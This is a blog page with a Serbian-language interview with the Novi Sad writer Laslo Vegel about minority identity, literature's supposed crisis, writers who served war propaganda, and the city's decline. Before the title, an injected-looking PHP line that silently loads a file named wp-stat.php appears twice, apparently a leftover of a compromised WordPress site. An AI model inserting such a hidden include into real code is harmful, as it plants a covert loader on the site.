@require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); LASLO VEGEL, KNJIŽEVNIK: Život na rubu, bez doma, u međuvremenu – Nedim Sejdinović

LASLO VEGEL, KNJIŽEVNIK: Život na rubu, bez doma, u međuvremenu

Pre nekoliko meseci novosadski književnik Laslo Vegel dobio je najprestižnije i najzvučnije priznanje u Mađarskoj – regionalnu Pulicerovu nagradu, koja se dodeljuje za ukupan javni angažman sa akcentom na određeno delo. Naglašen je njegov dnevnik “Ispisivanje vremena, u međuvremenu”, koji je prošle godine, skoro istovremeno, objavljen u Beogradu i Budimpešti. U dnevniku, Vegel, publicistički a književnički intimno, ispisuje vreme u predvečerje petoktobarskih promena i period velike nade koje je usledio posle Miloševićevog pada. Inače, Pulicerova nagrada se u Mađarskoj dodeljuje od 1988. godine, a osnivač te nagrade je jedan američki bankar, blizak prijatelj slavnog Jozefa Pulicera (Pulicer je inače rođen u Mađarskoj 1847. godine). Dodeljuje se samo u SAD i Mađarskoj.

Vegel je već sredinom osamdesetih prepoznao začetke ekspanzije provincijalizma i nacionalizma u Jugoslaviji. O tome je pisao u svojim književnim delima i esejima, koji su uvek imali jasan društveni angažman, angažman koji nije oduzimao već pridodavao umetničku vrednost Vegelovom stvaralaštvu. Autor je romana: “Memoari jednog makroa”, “Pareneza”, “Ekhartov prsten”, “Velika Srednjeistočna gozba stupa u pikarski roman”; zbirki eseja: “Odricanje i opstajanje”, “Abrahamov nož”, “Život na rubu”, “Vitgenštajnov razboj”, “Eksteritorijum” i ‘Bezdomni eseji”. Poznate su i njegove drame: “Šoferi”, “Judita”, “Preko sedam mora ” i “Medeja”.

Život na granici, manjinski pisac u svom gradu i stranac u tzv. zemlji matici – sve je to vezano za vaše stvaralaštvo. No, da li je uopšte moguće biti umetnik, književnik, a ne pripadati nekoj manjini? Da li je uživanje u pripadanju većini zapravo odveć obično i neinspirativno?

– Upravo sam ovih dana u Minhenu imao razgovor i predavanje na temu bezdomnosti – o složenosti identiteta i deteritorijalizaciji subjekta, o životu u dupliranim svetovima, o čudnoj pojavi kada svaka rečenica ima svoju senku. Naravno, nije to neka nova, nepoznata pojava, skrenuo bih pažnju na paradigmu Kafke. Živeo je u Pragu, ali nije bio Čeh, nego Židov, mada zapravo nije bio više ni pravi Židov. Pisao je na nemačkom jeziku, a nije bio Nemac. Takvi paradoksi postali su već skoro opšte mesto na rubovima Evrope, ali i u megalopolisima. Glavni gradovi ne liče više na svoje države, već žive jedan sasvim drugačiji život. U megalopolisima i na rubovima se odvija jedno neprestano duhovno mešanje, i u toj igri subjekt postaje kompleksniji, kontradiktorniji, jer jednostavno i subjekt se raspada. Manjinskim piscima ti paradoksi su sasvim bliski, jer oni imaju afinitet za to. Neko više, neko manje. Što se mene tiče, ja u tome vidim jedan moderni izazov. Dok neki drugi u tome prepoznaju tragediju, agoniju.

Neki smatraju da se književnost u svetskim razmerama nalazi u krizi, da čak počinje da deli sudbinu, recimo, opere ili baleta. Kakvo je vaše mišljenje o tome i šta književnost može da ponudi novom dobu?

– O krizi književnosti svi govore, ali u svetu se izdaje sve veći broj naslova. U evropskim gradovima primećujem nove, ultramoderne knjižare, koje su do vrha pune. U Budimpešti je pre nekoliko meseci otvorena velika knjižara na nekoliko spratova, koja radi do ponoći. Ljudi kupuju knjige i noću. Naravno, sve zavisi od kulturnog standarda određenog društva, i od vrednosnog sistema koji u njemu vlada. Nažalost, kod nas se kulturni standard čudno transformisao. Vrednost čoveka zavisi od toga koliko ima novaca i da li je dovoljno “patriota”, i, u okviru toga, kolika je njegova politička moć. Kultura izgleda kao teret, kao nešto nepotrebno. Setite se samo kada je i koji “javni delatnik”, političar ili ko drugi, govorio o tome da ja pročitao neki novi roman. Ako ga pitaju za omiljene knjige, on se priseća samo naslova školske lektire. Novobogataši, folk-pevačice, političari – oni su zvezde na našem kulturnom nebu, pod dirigentskom palicom površnih televizijskih voditeljki. U takvoj medijskoj atmosferi ne može da postoji moderni pristup knjizi! Kod nas je vrednosni sistem u krizi, a ne knjiga.

Vaše delo je neraskidivo vezano za aktuelne društvene procese, istovremeno je dokument jednog vremena, ali i poseduje potrebnu univerzalnost. Gde se po vama nalazi granica koju pisac ne sme preći u pravcu mašte ili stvarnosti? Odnosno, kada sama stvarnost počinje da opterećuje književno-umetničko delo, a kada odsustvo stvarnosti?

– Kami je rekao jednom da je stvarnost za književnika kao vatra: ako joj se suviše približi, može da izgori, ali ako se suviše udaljava, može da se zamrzne. Dodao bih da nikad ne znamo gde je prava mera – lukavsto epohe lako nas zavarava, mode i trendovi nas mogu izneveriti. I sam uživam u anđeoski čistoj književnosti, i valjda postoje vremena koji pogoduju literaturi koja “ne dodiruje zemlju”. Setim se pesnika moje mladosti – Malarmea, Valerija ili Rilkea. Oni su sačuvali nevinost pogleda, a danas je to teško sačuvati. Oni su imali neke više svetove, i sa čudnom lakoćom su dodirivali vanvremenske vrednosti, ali danas tako nešto nije moguće. Simulirati tako nešto nije samo komično, nego i cinično. Naš svet je u ruševinama, snovi su prljavi, a mašta je benigna. Ostale su nam samo reči koje su postale dvosmislene i varljive. U jakom mediatizovanom svetu, u kojoj ritam vremena doživljava prave eksplozije, same reči su postale kompromitovane. Nema vremena za očišćenje. A reči su naši alati.

Jedan ste od književnika koji se uporno i jasno određivao i određuje o vremenu u kojem živi, koji se nije plašio da digne glas protiv strašnih stvari koje su se oko njega dešavali. Kakvo je vaše mišljenje o onim književnicima koji su duvali u leđa ratnicima i zločinima, a kakvo o onim koji su svih ovih godina bili odvojeni od stvarnosti, kao da žive na Marsu.

– Činio sam to ne zbog velike hrabrosti i odvažnosti nego da sebe sačuvam od sramote. Ne smatram sebe nekim velikim herojem, samo sam hteo da imam mirnu savest. Mnogo sam naučio u ovim našim vremenima. Naučio sa da živim bez nade, i shvatio sam da život ima vrednosti i bez uspeha. Nikad nisam spadao o red oficijelnih književnika – tako je bilo u jednopartijskom sistemu, tako je ostalo i posle njega. Iz te pozicije gledam književnike koji su se stavljali u službu ratnog diskursa i zbog toga žrtvovali svoju individualnost, postavši nekakvi kolektivni pesnici. Oni su sada cenjeni i priznati. Ali, kada slučajno prelistam neku njihovu knjigu, uvek sa zaprepašćenjem konstatujem da su beznadežno dosadni i površni. U svetu je bilo i biće književnika koji su prihvatili zlo, ali oni su ušli u njegovu dubinu. Biti zlo vredi samo onda ako ga čovek prihvati do krajnjih granica. To je možda nečovečna i suviše rizična avantura, ali u estetskom smislu može biti produktivna. Ali nema nijednog takvog književnika među nama. Oni koji su preuzeli javni i zvanični diskurs, postali su tek mali propagandisti, kojima su se koristili od njih mnogo moćniji. Izgovarali su žestoke reči, verovatno iz ubeđenja, verujući valjda da dodiruju istoriju, da iskušavaju herojsku epohu. Ali, posle svega ostala je samo gorčina i banalnost. I mržnja.

Šta sada čitate i šta biste preporučili našim čitaocima kao obaveznu literaturu?

Sada upravo čitam knjigu Viktora Jerofejeva “Dobri Staljin” i kratke i britke tekstove Tomasa Bernharda. Kod Bernharda uživam u njegovom umeću da u maloj književnoj formi može da se akumulira ogromnu jezičku snagu. Lucidan je i rušilački, a to je dobar impuls. Preporučio bih u ovom trenutku “eksplozije etniciteta”, kao obaveznu literaturu – Hajnriha Bela, Gintera Grasa i Vitolda Gombroviča. Gombroviča, zato što je poučno kako se on suočava i sukobljava sa nacionalnom i provincijalnom mitomanijom, a Bel i Gras su napisali remek-dela o tome kako se suočiti sa zlom.

Novi Sad kao presudni toponim vašeg stvaralaštva, ali i vašeg života, poslednjih je godina imao mnoga iskušenja. Neki u njemu prepoznaju nepopravljivu provinciju, neki tvrde da on postaje veliki grad, neki opet uočavaju njegov pad. U kakvom Novom Sadu živite i šta mislite o njemu?

– Dugo mi se činilo da mi je Novi Sad – poslednja slamka. Raspala se država u kojoj sam odrastao, ostale su mi uspomene, neka iskustva, prijatelji i jedan grad. Nosio sam u sebi jednu sliku Novog Sada, a nisam znao u kolikoj meri je ona stvarna, u kolikoj meri je bila moja iluzija. A možda više nije ni važno. Geografski uzevši, Novi Sad je na granici Balkana i Srednje Evrope, i verovao sam da upravo taj susret kultura, ta ravnoteža nije samo geografska, nego i duhovna specifičnost, koja mom gradu obezdeđuje jedinstvenu duhovnu auru. I možda intrigantnost i privlačnost. Jer, u današnjem postmodernom neredu, da se izrazim rečnikom jednog savremenog filozofa, homogenost je monotona i autodestruktivna, jako provincijalna. Ali, nažalost Novi Sad, baš u tom smislu se jako provincijalizovao, i postepeno, naročito poslednjih 15 godina, izgubio dunavsku ravnotežu, na koju je mogao uvek biti ponosan. Ja sam više svedok jedne agonije, nego jednog uzleta. Ljudski je to jako bolno, a književno ipak inspirativno, kao što je književno inspirativna svaka smrt, svako nestajanje.

Nedim Sejdinović

 

Sviđa vam se ovaj tekst? Odojite sekund vašeg vremena da podržite Nedima Sejdinovića preko Patreon-a!

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.